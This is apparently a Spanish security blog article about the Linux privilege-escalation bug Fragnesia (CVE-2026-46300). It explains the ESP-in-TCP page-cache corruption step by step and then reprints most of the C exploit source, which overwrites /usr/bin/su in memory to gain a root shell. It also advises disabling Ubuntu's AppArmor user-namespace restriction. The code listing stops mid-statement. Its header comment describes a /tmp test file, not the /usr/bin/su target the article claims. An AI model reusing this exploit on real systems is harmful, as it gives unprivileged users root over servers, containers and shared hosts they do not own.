Inicio Linux & Systems Cybersecurity Cloud & DevOps Networks & Infrastructure SIEM & Monitoring DFIR & Threat Intel Development & Other Todas las categorias Herramientas

Fragnesia (CVE-2026-46300): LPE en Linux via ESP-in-TCP y page cache

Fragnesia (CVE-2026-46300): LPE en Linux via ESP-in-TCP y page cache

Tabla de contenidos

Que es Fragnesia (CVE-2026-46300)

Fragnesia es una vulnerabilidad de escalada local de privilegios (LPE) en el kernel Linux descubierta por William Bowling del equipo V12 Security. Pertenece a la misma clase de vulnerabilidad que Dirty Frag (CVE-2026-43284/43500) y Copy Fail (CVE-2026-31431): corrupcion del page cache para sobreescribir ficheros protegidos en memoria.

A diferencia de Dirty Frag que encadena dos CVEs en subsistemas xfrm y RxRPC, Fragnesia explota un bug logico independiente en el subsistema ESP-in-TCP (espintcp ULP) del codigo XFRM. El exploit escribe un shellcode ELF de 192 bytes sobre /usr/bin/su en el page cache, byte a byte, sin race conditions ni dependencia de distribucion.

Datos clave

CampoValor
CVECVE-2026-46300
CVSS7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
CWECWE-787 (Out-of-bounds Write)
Kernels afectadosTodos los afectados por Dirty Frag: Linux < parche del 13 mayo 2026. Confirmado en 6.8.0-111-generic (Ubuntu)
Exploit publicoSi (v12-security/pocs/fragnesia)
ComplejidadBaja (compilacion C, sin race conditions)
SubsistemaXFRM ESP-in-TCP (espintcp ULP), net/core/skbuff.c
Parche2 lineas en skbuff.c
DescubridorWilliam Bowling / V12 Security

Como funciona el exploit

El nombre "Fragnesia" viene de que el bug hace que un skb "olvide" (amnesia) que un fragmento (frag) es compartido durante el coalescing. Esto permite que el kernel XOR-ee datos de descifrado AES-GCM directamente sobre paginas del page cache que deberian ser de solo lectura.

Mecanismo paso a paso

  1. Setup de namespaces: el exploit hace fork() para crear un proceso hijo que ejecuta unshare(CLONE_NEWUSER). El padre mapea uid/gid via /proc//uid_map y /proc//gid_map. Despues el hijo hace unshare(CLONE_NEWNET) para obtener CAP_NET_ADMIN en el nuevo network namespace sin privilegios reales en el host. Finalmente levanta la interfaz loopback (lo) con ioctl(SIOCSIFFLAGS)
  1. Instalacion de Security Association XFRM: dentro del network namespace, instala una SA ESP-in-TCP en modo transporte via NETLINK_XFRM (XFRM_MSG_NEWSA) usando rfc4106(gcm(aes)) con clave hardcoded de 20 bytes (16 bytes AES + 4 bytes salt), SPI 0x100, sobre IPv6 loopback (::1), puerto TCP 5556, y encapsulacion TCP_ENCAP_ESPINTCP
  1. Tabla de keystream: construye una tabla de 256 entradas via AF_ALG con el cipher ecb(aes). Para cada nonce n en [0, 65535], construye el counter block AES-GCM [salt(4) || 0xcccccccc || n(4) || 00000002], cifra con ECB(AES) bajo los primeros 16 bytes de la clave, y toma el byte 0 del resultado. Si ese valor no esta en la tabla, lo registra como stream0_nonce[byte] = n. El proceso termina cuando los 256 valores posibles estan cubiertos (tipicamente en menos de 65536 iteraciones)
  1. Trigger splice-then-ULP: para cada byte a modificar, el exploit hace fork() de dos procesos hijos: receiver y sender. El receiver abre un socket TCP IPv6 en puerto 5556 (SOCK_STREAM), acepta la conexion, espera 30ms (RECEIVER_PRE_ULP_US), y entonces activa setsockopt(TCP_ULP, "espintcp") cuando los datos ya estan en el socket buffer. El sender conecta al receiver, envia un prefijo de 18 bytes (2 bytes length + 16 bytes header ESP con SPI, seq y IV elegido), espera 1ms, y hace splice() de 4096 bytes (FRAG_LEN) del fichero objetivo a un pipe y de ahi al socket TCP. Cuando el ULP se activa, el kernel interpreta los datos ya encolados como un registro ESP-in-TCP e intenta descifrar in-place, XOR-eando el keystream AES-GCM directamente sobre la pagina del page cache — la misma pagina fisica que respalda la entrada del VFS
  1. Escritura byte a byte: los pasos 3-4 se repiten para cada byte del payload de 192 bytes que no tiene ya el valor deseado. Cada iteracion calcula need_stream = current_byte XOR desired_byte, busca el nonce correspondiente en stream0_nonce[need_stream], incrementa el numero de secuencia ESP, y dispara un nuevo par sender/receiver. El exploit muestra una interfaz visual en terminal con el progreso hexadecimal byte a byte y una barra de progreso
  1. Verificacion y ejecucion: tras escribir todos los bytes, el exploit hace una pasada de verificacion leyendo cada byte de /usr/bin/su para confirmar que coincide con el payload deseado. Si todo es correcto, ejecuta execve("/usr/bin/su") que ahora contiene el stub ELF de 192 bytes: setresuid(0,0,0) + setresgid(0,0,0) + execve("/bin/sh") → root shell. La modificacion esta solo en page cache; el binario en disco no se toca

Diferencias tecnicas con Dirty Frag y Copy Fail

AspectoCopy Fail (CVE-2026-31431)Dirty Frag (CVE-2026-43284/43500)Fragnesia (CVE-2026-46300)
LenguajePython (732 bytes)C (~1400 lineas)C (~900 lineas)
Subsistemacrypto (algif_aead)xfrm ESP + RxRPCxfrm ESP-in-TCP (espintcp ULP)
Mecanismosplice() sobre AF_ALGFragmentos ESP + rxkadsplice-then-ULP transition
Target/usr/bin/su (shellcode ELF)/etc/passwd (elimina password root)/usr/bin/su (shellcode ELF)
EscrituraPaginas completas4 bytes por trigger (seqhi)1 byte por trigger (AES-GCM XOR)
Race conditionNoNoNo
CryptoNofcrypt brute force (~1-45s)AES-GCM keystream lookup (instantaneo)
AppArmorNo afectadoPath xfrm bloqueado, RxRPC funcionaRequiere apparmor_restrict_unprivileged_userns=0
PersistenciaSolo page cachePage cache (puede sync a disco)Solo page cache

Escenarios de explotacion

Donde ES explotable

EscenarioRiesgoPor que
Ubuntu 24.04+ sin AppArmor restriccion deshabilitadaAltoRequiere kernel.apparmor_restrict_unprivileged_userns=0 o bypass previo
Fedora, RHEL, DebianCriticoSin restriccion de user namespaces por defecto
Servidores multi-tenant (jump hosts, CI runners)CriticoCualquier usuario con shell obtiene root
Kubernetes / containers sin seccompCriticoPage cache compartido host-pods
Linode, DigitalOcean, Hetzner (VPS)CriticoConfirmado por V12 en Linode con kernel 6.8.0-111-generic

Donde NO es explotable

EscenarioPor que
Ubuntu con AppArmor restriccion activaBloquea unshare(CLONE_NEWUSER) (default en Ubuntu 24.04+)
Containers con seccomp estrictoBloquea socket XFRM y unshare
Kernel con parche del 13 mayo 2026Bug corregido en skbuff.c
gVisor / FirecrackerNo implementan espintcp ULP
Sistemas con modulos esp4/esp6 deshabilitadosSin superficie de ataque

Nota importante sobre Ubuntu: la restriccion de AppArmor sobre user namespaces no privilegiados (kernel.apparmor_restrict_unprivileged_userns) esta activa por defecto en Ubuntu 24.04+. Sin embargo, V12 indica que existen bypasses (fuera del scope de este CVE) y muchos administradores la deshabilitan para compatibilidad con aplicaciones como Chrome, Flatpak o bubblewrap.

Codigo fuente del exploit (fragnesia.c)

A continuacion se muestra el codigo fuente completo del exploit Fragnesia (v12-security/pocs). El binario se compila con gcc -O2 -Wall -Wextra -o exp fragnesia.c y explota el bug ESP-in-TCP para sobreescribir /usr/bin/su en el page cache byte a byte usando el keystream AES-GCM.

Aviso: Este PoC se proporciona con fines educativos y de investigacion. No lo utilices en sistemas sobre los que no tengas autorizacion explicita para realizar pruebas de seguridad.

C
// Fragnesia: universal Linux LPE
// Ubuntu users: AppArmor interferes with using namespaces, you need to use
// `sudo sysctl -w kernel.apparmor_restrict_unprivileged_userns=0`.
//
// You can chain other bugs to bypass this requirement but this is out of scope for this vulnerability.
//
// Found with V12 by William Bowling on the V12 team
// V12 - https://v12.sh - dangerously powerful agentic security

// Patch: https://lists.openwall.net/netdev/2026/05/13/79

/*
 * Slim ESP-in-TCP/TCP-coalesce page-cache replacement PoC.
 *
 * It only targets an already prepared disposable regular file under /tmp or
 * /var/tmp.  The file must be readable by the caller and should be non-writable
 * to demonstrate the permission boundary.
 *
 * Build:
 *   gcc -O2 -Wall -Wextra -static xfrm_espintcp_pagecache_replace.c -o xfrm_espintcp_pagecache_replace
 *
 * Run:
 *   ./xfrm_espintcp_pagecache_replace /tmp/root-owned-copy 0 42434445
 *
 * Exit codes:
 *   1: vulnerable behavior verified
 *   0: fixed/no mutation observed
 *   2: local setup or argument error
 *   4: namespace/XFRM gate closed
 */

#define _GNU_SOURCE

#include <arpa/inet.h>
#include <errno.h>
#include <fcntl.h>
#include <grp.h>
#if __has_include(<linux/if_alg.h>)
#include <linux/if_alg.h>
#else
#include <linux/types.h>
struct sockaddr_alg {
	__u16 salg_family;
	__u8 salg_type[14];
	__u32 salg_feat;
	__u32 salg_mask;
	__u8 salg_name[64];
};
#endif
#include <linux/netlink.h>
#include <linux/udp.h>
#include <linux/xfrm.h>
#include <limits.h>
#include <net/if.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include <sched.h>
#include <signal.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/prctl.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>

#ifndef TCP_ULP
#define TCP_ULP 31
#endif

#ifndef NETLINK_XFRM
#define NETLINK_XFRM 6
#endif

#ifndef TCP_ENCAP_ESPINTCP
#define TCP_ENCAP_ESPINTCP 7
#endif

#ifndef AF_ALG
#define AF_ALG 38
#endif

#ifndef SOL_ALG
#define SOL_ALG 279
#endif

#ifndef ALG_SET_KEY
#define ALG_SET_KEY 1
#endif

#ifndef ALG_SET_OP
#define ALG_SET_OP 3
#endif

#ifndef ALG_OP_ENCRYPT
#define ALG_OP_ENCRYPT 1
#endif

#ifndef NLA_ALIGNTO
#define NLA_ALIGNTO 4
#endif

#ifndef NLA_ALIGN
#define NLA_ALIGN(len) (((len) + NLA_ALIGNTO - 1) & ~(NLA_ALIGNTO - 1))
#endif

#ifndef NLA_HDRLEN
#define NLA_HDRLEN ((int)NLA_ALIGN(sizeof(struct nlattr)))
#endif

#define FRAG_LEN 4096
#define ESP_GCM_ICV_LEN 16
#define ESP_GCM_ENCRYPTED_LEN (FRAG_LEN - ESP_GCM_ICV_LEN)
#define TCP_PORT 5556

#define PAYLOAD_LEN         192
#define FRAME_PAYLOAD_ROWS  12      /* ceil(PAYLOAD_LEN / 16) */
#define FRAME_BAR_W         50
#define FRAME_LINES         15      /* 1 header + 12 hex + 1 bar + 1 sep */

#define RECEIVER_PRE_ULP_US 30000
#define SENDER_PRE_SPLICE_US 1000
#define RECEIVER_POST_ULP_US 30000

static const unsigned char xfrm_aead_key[20] = {
	0x00, 0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77,
	0x88, 0x99, 0xaa, 0xbb, 0xcc, 0xdd, 0xee, 0xff,
	0x01, 0x02, 0x03, 0x04
};

static unsigned char active_esp_gcm_iv[8] = {
	0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc
};
static uint32_t active_esp_seq = 1;
static const char *target_file;
static char target_file_buf[PATH_MAX];
static loff_t target_splice_off;

static uint16_t stream0_nonce[256];
static bool stream0_have[256];

static void die(const char *what)
{
	fprintf(stderr, "%s: %s\n", what, strerror(errno));
	exit(2);
}

static void gate_fail(const char *what)
{
	printf("namespace_gate_failed: %s errno=%d (%s)\n",
	       what, errno, strerror(errno));
	exit(4);
}

static void store_be32(unsigned char *p, uint32_t v)
{
	p[0] = (unsigned char)(v >> 24);
	p[1] = (unsigned char)(v >> 16);
	p[2] = (unsigned char)(v >> 8);
	p[3] = (unsigned char)v;
}

/* ANSI colours */
#define C_RESET  "\033[0m"
#define C_BOLD   "\033[1m"
#define C_DIM    "\033[2m"
#define C_RED    "\033[31m"
#define C_GREEN  "\033[32m"
#define C_YELLOW "\033[33m"
#define C_CYAN   "\033[36m"
#define C_WHITE  "\033[97m"
#define C_BRED   "\033[1;31m"
#define C_BGRN   "\033[1;32m"
#define C_BYLW   "\033[1;33m"
#define C_BCYN   "\033[1;36m"
#define C_BWHT   "\033[1;97m"

static void print_hex_bytes(const char *label, const unsigned char *buf,
			    size_t len)
{
	size_t i;

	printf(C_DIM "%s=" C_RESET C_CYAN, label);
	for (i = 0; i < len; i++)
		printf("%02x", buf[i]);
	printf(C_RESET "\n");
}

/* Dump a 16-byte aligned row centred on `highlight_off`, marking that byte. */
static void print_hex_row(const char *path, uint64_t highlight_off,
			  const char *before_label, unsigned char before_val,
			  const char *after_label,  unsigned char after_val)
{
	uint64_t row_start = highlight_off & ~(uint64_t)15;
	unsigned char row[16];
	ssize_t got;
	size_t col;
	int fd;

	fd = open(path, O_RDONLY | O_CLOEXEC);
	if (fd < 0)
		return;
	got = pread(fd, row, sizeof(row), (off_t)row_start);
	close(fd);
	if (got <= 0)
		return;

	/* Hex section */
	printf(C_DIM "  %016llx  " C_RESET, (unsigned long long)row_start);
	for (col = 0; col < 16; col++) {
		if (col == 8)
			printf(" ");
		if ((size_t)got > col) {
			if (row_start + col == highlight_off)
				printf(C_BRED "[%02x]" C_RESET, row[col]);
			else
				printf(C_DIM "%02x " C_RESET, row[col]);
		} else {
			printf(C_DIM "   " C_RESET);
		}
	}

	/* ASCII section */
	printf("  " C_DIM "|" C_RESET);
	for (col = 0; col < (size_t)got; col++) {
		unsigned char c = row[col];
		if (row_start + col == highlight_off)
			printf(C_BRED "%c" C_RESET,
			       (c >= 0x20 && c < 0x7f) ? c : '.');
		else
			printf(C_DIM "%c" C_RESET,
			       (c >= 0x20 && c < 0x7f) ? c : '.');
	}
	printf(C_DIM "|" C_RESET "\n");

	/* Annotation line */
	size_t col_off = (size_t)(highlight_off - row_start);
	size_t arrow_pos = 20 + col_off * 3 + (col_off >= 8 ? 1 : 0) + 1;
	printf("%*s" C_BYLW "^-- +%04llx  "
	       C_RED "%s" C_RESET ":" C_BRED "%02x" C_RESET
	       "  ->  "
	       C_GREEN "%s" C_RESET ":" C_BGRN "%02x" C_RESET "\n",
	       (int)arrow_pos, "",
	       (unsigned long long)(highlight_off & 0xffff),
	       before_label, before_val,
	       after_label, after_val);
}

static int open_afalg_aes_ecb(void)
{
	struct sockaddr_alg sa = {
		.salg_family = AF_ALG,
	};
	int fd;

	fd = socket(AF_ALG, SOCK_SEQPACKET | SOCK_CLOEXEC, 0);
	if (fd < 0)
		die("socket(AF_ALG)");

	strcpy((char *)sa.salg_type, "skcipher");
	strcpy((char *)sa.salg_name, "ecb(aes)");
	if (bind(fd, (struct sockaddr *)&sa, sizeof(sa)) < 0)
		die("bind AF_ALG ecb(aes)");
	if (setsockopt(fd, SOL_ALG, ALG_SET_KEY, xfrm_aead_key, 16) < 0)
		die("setsockopt AF_ALG key");

	return fd;
}

static void afalg_aes_encrypt_block(int alg_fd, const unsigned char in[16],
				    unsigned char out[16])
{
	char cbuf[CMSG_SPACE(sizeof(uint32_t))] = {};
	struct iovec iov = {
		.iov_base = (void *)in,
		.iov_len = 16,
	};
	struct msghdr msg = {
		.msg_iov = &iov,
		.msg_iovlen = 1,
		.msg_control = cbuf,
		.msg_controllen = sizeof(cbuf),
	};
	struct cmsghdr *cmsg;
	uint32_t op = ALG_OP_ENCRYPT;
	ssize_t ret;
	int op_fd;

	op_fd = accept4(alg_fd, NULL, NULL, SOCK_CLOEXEC);
	if (op_fd < 0)
		die("accept AF_ALG");

	cmsg = CMSG_FIRSTHDR(&msg);
	cmsg->cmsg_level = SOL_ALG;
	cmsg->cmsg_type = ALG_SET_OP;
	cmsg->cmsg_len = CMSG_LEN(sizeof(op));
	memcpy(CMSG_DATA(cmsg), &op, sizeof(op));

	ret = sendmsg(op_fd, &msg, 0);
	if (ret != 16)
		die("sendmsg AF_ALG block");
	ret = read(op_fd, out, 16);
	if (ret != 16)
		die("read AF_ALG block");

	close(op_fd);
}

static unsigned char aes_gcm_stream0_byte(int alg_fd,
					  const unsigned char iv[8])
{
	unsigned char counter_block[16], stream[16];

	memcpy(counter_block, &xfrm_aead_key[16], 4);
	memcpy(counter_block + 4, iv, 8);
	store_be32(counter_block + 12, 2);
	afalg_aes_encrypt_block(alg_fd, counter_block, stream);
	return stream[0];
}

static void build_stream0_table(void)
{
	unsigned char iv[8] = {
		0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc
	};
	unsigned int count = 0, nonce;
	int alg_fd;

	alg_fd = open_afalg_aes_ecb();
	for (nonce = 0; nonce <= 0xffff && count < 256; nonce++) {
		unsigned char b;

		store_be32(iv + 4, nonce);
		b = aes_gcm_stream0_byte(alg_fd, iv);
		if (stream0_have[b])
			continue;
		stream0_have[b] = true;
		stream0_nonce[b] = (uint16_t)nonce;
		count++;
	}
	close(alg_fd);

	if (count != 256) {
		fprintf(stderr, "failed to build complete stream-byte table: %u/256\n",
			count);
		exit(2);
	}
	printf("stream0_table_entries=256\n");
}

static void choose_iv_for_stream0(unsigned char need_stream)
{
	uint16_t nonce = stream0_nonce[need_stream];

	memset(active_esp_gcm_iv, 0xcc, sizeof(active_esp_gcm_iv));
	store_be32(active_esp_gcm_iv + 4, nonce);
	printf("byte_flip_nonce=%u stream_byte=%02x\n", nonce, need_stream);
	print_hex_bytes("byte_flip_packet_iv", active_esp_gcm_iv,
			sizeof(active_esp_gcm_iv));
}

static uint64_t parse_u64_arg(const char *s, const char *name)
{
	char *end = NULL;
	unsigned long long v;

	if (s[0] == '-') {
		fprintf(stderr, "invalid %s: %s\n", name, s);
		exit(2);
	}
	errno = 0;
	v = strtoull(s, &end, 0);
	if (errno || !end || *end != '\0') {
		fprintf(stderr, "invalid %s: %s\n", name, s);
		exit(2);
	}
	return (uint64_t)v;
}

static int hex_nibble(int c)
{
	if (c >= '0' && c <= '9')
		return c - '0';
	if (c >= 'a' && c <= 'f')
		return 10 + c - 'a';
	if (c >= 'A' && c <= 'F')
		return 10 + c - 'A';
	return -1;
}

static bool is_hex_separator(int c)
{
	return c == ':' || c == ',' || c == '-' || c == '_' ||
	       c == ' ' || c == '\t' || c == '\n' || c == '\r';
}

static unsigned char *parse_hex_bytes_arg(const char *s, size_t *len_out)
{
	size_t cap = strlen(s) / 2 + 1, len = 0;
	unsigned char *buf;
	int hi = -1, v;

	buf = malloc(cap);
	if (!buf)
		die("malloc desired bytes");

	for (; *s; s++) {
		if (is_hex_separator((unsigned char)*s))
			continue;
		if (hi < 0 && s[0] == '0' && (s[1] == 'x' || s[1] == 'X')) {
			s++;
			continue;
		}

		v = hex_nibble((unsigned char)*s);
		if (v < 0) {
			fprintf(stderr, "invalid hex byte string near '%c'\n", *s);
			exit(2);
		}
		if (hi < 0) {
			hi = v;
			continue;
		}
		buf[len++] = (unsigned char)((hi << 4) | v);
		hi = -1;
	}

	if (hi >= 0) {
		fprintf(stderr, "hex byte string has an odd number of nibbles\n");
		exit(2);
	}
	if (len == 0) {
		fprintf(stderr, "hex byte string is empty\n");
		exit(2);
	}

	*len_out = len;
	return buf;
}

static unsigned char read_byte_at(const char *path, uint64_t off)
{
	unsigned char b;
	ssize_t ret;
	int fd;

	fd = open(path, O_RDONLY | O_CLOEXEC);
	if (fd < 0)
		die("open read byte");
	ret = pread(fd, &b, 1, (off_t)off);
	if (ret < 0)
		die("pread byte");
	if (ret != 1) {
		fprintf(stderr, "short pread at offset=%llu\n",
			(unsigned long long)off);
		exit(2);
	}
	close(fd);
	return b;
}

static void print_file_sample(const char *label, uint64_t off, size_t len)
{
	unsigned char buf[32];
	ssize_t ret;
	int fd;

	if (len > sizeof(buf))
		len = sizeof(buf);
	fd = open(target_file, O_RDONLY | O_CLOEXEC);
	if (fd < 0)
		die("open sample");
	ret = pread(fd, buf, len, (off_t)off);
	if (ret < 0)
		die("pread sample");
	close(fd);
	if ((size_t)ret != len) {
		fprintf(stderr, "short sample at offset=%llu len=%zu got=%zd\n",
			(unsigned long long)off, len, ret);
		exit(2);
	}
	print_hex_bytes(label, buf, len);
}

static uint64_t use_existing_target(const char *path)
{
	struct stat lst, st;

	if (lstat(path, &lst) < 0)
		die("lstat target");
	if (!S_ISREG(lst.st_mode)) {
		fprintf(stderr, "target is not a regular file\n");
		exit(2);
	}
	if (stat(path, &st) < 0)
		die("stat target");
	if (!S_ISREG(st.st_mode)) {
		fprintf(stderr, "target is not a regular file\n");
		exit(2);
	}
	if (st.st_size < FRAG_LEN) {
		fprintf(stderr, "target is too small: size=%lld need>=%d\n",
			(long long)st.st_size, FRAG_LEN);
		exit(2);
	}
	if (snprintf(target_file_buf, sizeof(target_file_buf), "%s", path) >=
	    (int)sizeof(target_file_buf)) {
		fprintf(stderr, "target path is too long\n");
		exit(2);
	}

	target_file = target_file_buf;
	return (uint64_t)st.st_size;
}

static void verify_write_denied(const char *label)
{
	int fd;

	errno = 0;
	fd = open(target_file, O_WRONLY | O_CLOEXEC);
	if (fd >= 0) {
		close(fd);
		printf("namespace_gate_failed: %s write-open unexpectedly succeeded\n",
		       label);
		exit(4);
	}

	printf("%s_write_open_denied=1 errno=%d (%s)\n",
	       label, errno, strerror(errno));
}

static int write_all_file_status(const char *path, const char *buf)
{
	size_t len = strlen(buf);
	int fd, saved_errno;

	fd = open(path, O_WRONLY | O_CLOEXEC);
	if (fd < 0)
		return -1;
	if (write(fd, buf, len) != (ssize_t)len) {
		saved_errno = errno;
		close(fd);
		errno = saved_errno;
		return -1;
	}
	close(fd);
	return 0;
}

static void sync_write_byte(int fd)
{
	char c = 'M';

	if (write(fd, &c, 1) != 1)
		die("sync write");
	close(fd);
}

static void sync_read_byte(int fd)
{
	char c;

	if (read(fd, &c, 1) != 1)
		die("sync read");
	close(fd);
}

static void parent_map_write_or_exit(pid_t child, const char *name,
				     const char *data)
{
	char path[128];

	snprintf(path, sizeof(path), "/proc/%ld/%s", (long)child, name);
	if (write_all_file_status(path, data) < 0) {
		printf("namespace_gate_failed: %s errno=%d (%s)\n",
		       path, errno, strerror(errno));
		kill(child, SIGKILL);
		waitpid(child, NULL, 0);
		exit(4);
	}
}

static void enter_mapped_userns(void)
{
	uid_t outer_uid = getuid();
	gid_t outer_gid = getgid();
	int ready_pipe[2], mapped_pipe[2], status;
	char map[128];
	pid_t child;

	if (pipe(ready_pipe) < 0)
		die("pipe ready");
	if (pipe(mapped_pipe) < 0)
		die("pipe mapped");

	child = fork();
	if (child < 0)
		die("fork userns mapper");

	if (child > 0) {
		close(ready_pipe[1]);
		close(mapped_pipe[0]);

		sync_read_byte(ready_pipe[0]);

		snprintf(map, sizeof(map), "0 %u 1\n", outer_uid);
		parent_map_write_or_exit(child, "uid_map", map);
		parent_map_write_or_exit(child, "setgroups", "deny\n");
		snprintf(map, sizeof(map), "0 %u 1\n", outer_gid);
		parent_map_write_or_exit(child, "gid_map", map);

		sync_write_byte(mapped_pipe[1]);

		if (waitpid(child, &status, 0) < 0)
			die("wait userns child");
		if (WIFEXITED(status))
			exit(WEXITSTATUS(status));
		if (WIFSIGNALED(status)) {
			fprintf(stderr, "userns child killed by signal %d\n",
				WTERMSIG(status));
			exit(2);
		}
		exit(2);
	}

	close(ready_pipe[0]);
	close(mapped_pipe[1]);

	if (unshare(CLONE_NEWUSER) < 0)
		gate_fail("unshare(CLONE_NEWUSER)");

	sync_write_byte(ready_pipe[1]);
	sync_read_byte(mapped_pipe[0]);

	if (setresgid(0, 0, 0) < 0)
		gate_fail("setresgid 0 in userns");
	if (setresuid(0, 0, 0) < 0)
		gate_fail("setresuid 0 in userns");

	printf("userns_setup: outer_uid=%u outer_gid=%u ns_uid=%d ns_gid=%d\n",
	       outer_uid, outer_gid, getuid(), getgid());
}

static void bring_loopback_up(void)
{
	struct ifreq ifr;
	int fd;

	fd = socket(AF_INET, SOCK_DGRAM | SOCK_CLOEXEC, 0);
	if (fd < 0)
		gate_fail("socket(AF_INET)");

	memset(&ifr, 0, sizeof(ifr));
	strncpy(ifr.ifr_name, "lo", IFNAMSIZ - 1);
	if (ioctl(fd, SIOCGIFFLAGS, &ifr) < 0)
		gate_fail("SIOCGIFFLAGS lo");
	ifr.ifr_flags |= IFF_UP;
	if (ioctl(fd, SIOCSIFFLAGS, &ifr) < 0)
		gate_fail("SIOCSIFFLAGS lo up");
	close(fd);

	printf("loopback_up=1\n");
}

static void add_nlattr(struct nlmsghdr *nlh, size_t maxlen,
		       unsigned short type, const void *data, size_t len)
{
	size_t off = NLMSG_ALIGN(nlh->nlmsg_len);
	struct nlattr *nla;

	if (off + NLA_HDRLEN + len > maxlen) {
		fprintf(stderr, "netlink message too small\n");
		exit(2);
	}

	nla = (struct nlattr *)((char *)nlh + off);
	nla->nla_type = type;
	nla->nla_len = NLA_HDRLEN + len;
	memcpy((char *)nla + NLA_HDRLEN, data, len);
	nlh->nlmsg_len = off + NLA_ALIGN(nla->nla_len);
}

static int nl_ack_errno(char *buf, ssize_t len)
{
	struct nlmsghdr *nlh;
	struct nlmsgerr *err;

	for (nlh = (struct nlmsghdr *)buf; NLMSG_OK(nlh, (unsigned int)len);
	     nlh = NLMSG_NEXT(nlh, len)) {
		if (nlh->nlmsg_type != NLMSG_ERROR)
			continue;
		err = (struct nlmsgerr *)NLMSG_DATA(nlh);
		if (err->error == 0)
			return 0;
		errno = -err->error;
		return -1;
	}

	errno = EPROTO;
	return -1;
}

static void add_xfrm_espintcp_state(void)
{
	char reqbuf[4096], resp[4096];
	char aeadbuf[sizeof(struct xfrm_algo_aead) + sizeof(xfrm_aead_key)];
	struct sockaddr_nl sa = {
		.nl_family = AF_NETLINK,
	};
	struct xfrm_usersa_info *xs;
	struct xfrm_algo_aead *aead;
	struct xfrm_encap_tmpl encap;
	struct nlmsghdr *nlh;
	ssize_t ret;
	int fd;

	memset(reqbuf, 0, sizeof(reqbuf));
	nlh = (struct nlmsghdr *)reqbuf;
	nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*xs));
	nlh->nlmsg_type = XFRM_MSG_NEWSA;
	nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | NLM_F_CREATE | NLM_F_EXCL;
	nlh->nlmsg_seq = 1;

	xs = (struct xfrm_usersa_info *)NLMSG_DATA(nlh);
	if (inet_pton(AF_INET6, "::1", &xs->saddr.in6) != 1)
		die("inet_pton saddr");
	if (inet_pton(AF_INET6, "::1", &xs->id.daddr.in6) != 1)
		die("inet_pton daddr");
	xs->id.spi = htonl(0x100);
	xs->id.proto = IPPROTO_ESP;
	xs->family = AF_INET6;
	xs->mode = XFRM_MODE_TRANSPORT;
	xs->reqid = 1;
	xs->lft.soft_byte_limit = XFRM_INF;
	xs->lft.hard_byte_limit = XFRM_INF;
	xs->lft.soft_packet_limit = XFRM_INF;
	xs->lft.hard_packet_limit = XFRM_INF;

	memset(aeadbuf, 0, sizeof(aeadbuf));
	aead = (struct xfrm_algo_aead *)aeadbuf;
	snprintf(aead->alg_name, sizeof(aead->alg_name), "rfc4106(gcm(aes))");
	aead->alg_key_len = sizeof(xfrm_aead_key) * 8;
	aead->alg_icv_len = 128;
	memcpy(aead->alg_key, xfrm_aead_key, sizeof(xfrm_aead_key));
	add_nlattr(nlh, sizeof(reqbuf), XFRMA_ALG_AEAD, aeadbuf, sizeof(aeadbuf));

	memset(&encap, 0, sizeof(encap));
	encap.encap_type = TCP_ENCAP_ESPINTCP;
	encap.encap_sport = htons(TCP_PORT);
	encap.encap_dport = htons(TCP_PORT);
	add_nlattr(nlh, sizeof(reqbuf), XFRMA_ENCAP, &encap, sizeof(encap));

	fd = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC, NETLINK_XFRM);
	if (fd < 0)
		gate_fail("socket(NETLINK_XFRM)");
	if (bind(fd, (struct sockaddr *)&sa, sizeof(sa)) < 0)
		gate_fail("bind(NETLINK_XFRM)");

	memset(&sa, 0, sizeof(sa));
	sa.nl_family = AF_NETLINK;
	ret = sendto(fd, nlh, nlh->nlmsg_len, 0, (struct sockaddr *)&sa,
		     sizeof(sa));
	if (ret < 0)
		gate_fail("sendto XFRM_MSG_NEWSA");
	if (ret != (ssize_t)nlh->nlmsg_len) {
		errno = EIO;
		gate_fail("short sendto XFRM_MSG_NEWSA");
	}

	ret = recv(fd, resp, sizeof(resp), 0);
	if (ret < 0)
		gate_fail("recv XFRM ack");
	if (nl_ack_errno(resp, ret) < 0)
		gate_fail("XFRM_MSG_NEWSA ack");
	close(fd);

	printf("xfrm_espintcp_state_add=1\n");
}

static void setup_user_netns_xfrm(void)
{
	if (prctl(PR_SET_DUMPABLE, 1, 0, 0, 0) < 0)
		die("prctl PR_SET_DUMPABLE");
	enter_mapped_userns();

	if (unshare(CLONE_NEWNET) < 0)
		gate_fail("unshare(CLONE_NEWNET)");

	printf("netns_setup=1\n");
	bring_loopback_up();
	add_xfrm_espintcp_state();
	printf("namespace_setup_complete=1\n");
}

static void write_ready(int fd)
{
	char c = 'R';

	if (write(fd, &c, 1) != 1)
		die("ready write");
	close(fd);
}

static void wait_ready(int fd)
{
	char c;

	if (read(fd, &c, 1) != 1)
		die("ready read");
	close(fd);
}

static void receiver(int ready_write_fd)
{
	struct sockaddr_in6 addr = {
		.sin6_family = AF_INET6,
		.sin6_addr = IN6ADDR_LOOPBACK_INIT,
		.sin6_port = htons(TCP_PORT),
		.sin6_flowinfo = 0,
		.sin6_scope_id = 0,
	};
	char ulp[] = "espintcp";
	int fd, cfd, one = 1;

	fd = socket(AF_INET6, SOCK_STREAM | SOCK_CLOEXEC, 0);
	if (fd < 0)
		die("receiver socket");
	if (setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)) < 0)
		die("receiver reuseaddr");
	if (bind(fd, (struct sockaddr *)&addr, sizeof(addr)) < 0)
		die("receiver bind");
	if (listen(fd, 1) < 0)
		die("receiver listen");

	write_ready(ready_write_fd);

	cfd = accept4(fd, NULL, NULL, SOCK_CLOEXEC);
	if (cfd < 0)
		die("receiver accept");

	usleep(RECEIVER_PRE_ULP_US);
	if (setsockopt(cfd, IPPROTO_TCP, TCP_ULP, ulp, sizeof(ulp)) < 0)
